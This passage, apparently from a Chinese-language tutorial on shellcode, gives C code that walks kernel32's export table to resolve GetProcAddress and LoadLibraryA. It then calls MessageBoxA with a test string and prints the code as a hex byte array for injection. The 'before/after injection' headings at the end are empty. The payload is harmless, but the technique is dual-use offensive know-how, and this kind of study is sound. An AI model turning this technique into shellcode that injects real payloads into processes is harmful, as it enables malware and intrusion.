PIMAGE_SECTION_HEADER pSectionHeader = \ (PIMAGE_SECTION_HEADER)((DWORD)pOptionHeader + pPEHeader->SizeOfOptionalHeader); PIMAGE_EXPORT_DIRECTORY pExportDirectory = \ (PIMAGE_EXPORT_DIRECTORY)((DWORD)hKernel32 + pOptionHeader->DataDirectory[0].VirtualAddress); PDWORD AddressOfFunctions = (PDWORD)((DWORD)hKernel32 + pExportDirectory->AddressOfFunctions); PDWORD AddressOfNames = (PDWORD)((DWORD)hKernel32 + pExportDirectory->AddressOfNames); PWORD AddressOfNameOridinals = (PWORD)((DWORD)hKernel32 + pExportDirectory->AddressOfNameOrdinals); int i; for (i = 0; i < (int)pExportDirectory->NumberOfNames; i++) { char *p1 = szGetProcAddress; char *p2 = (char *)((DWORD)hKernel32 + AddressOfNames[i]); bEqual = FALSE; while (1) { if (*p1 == 0 && *p2 == 0) { bEqual = TRUE; break; } if (*p1 != *p2) { break; } p1++; p2++; } if (bEqual) { //从导出表中获得GetProcAddress地址 pGetProcAddress = (PGETPROCADDRESS)(AddressOfFunctions[AddressOfNameOridinals[i]] + pOptionHeader->ImageBase); } } } else { return 1; } // Loadlibrary pLoadLibraryA = (PLOADLIBRARYA)pGetProcAddress(hKernel32,szLoadLibrary); // test hUser32 = pLoadLibraryA(szUser32); pMessageBoxA = (PMESSAGEBOXA)pGetProcAddress(hUser32,szMessageBoxA); pMessageBoxA(0,szHelloShellCode,0,MB_OK); return 0; } void PrintHexArray(PVOID startAddr, size_t nBytes) { for (size_t i = 0; i < nBytes; i++) { printf("0x%02X, ", ((PBYTE)startAddr)[i]); if ((i + 1) % 16 == 0) putchar('\n'); } putchar('\n'); }
注入前:
注入后: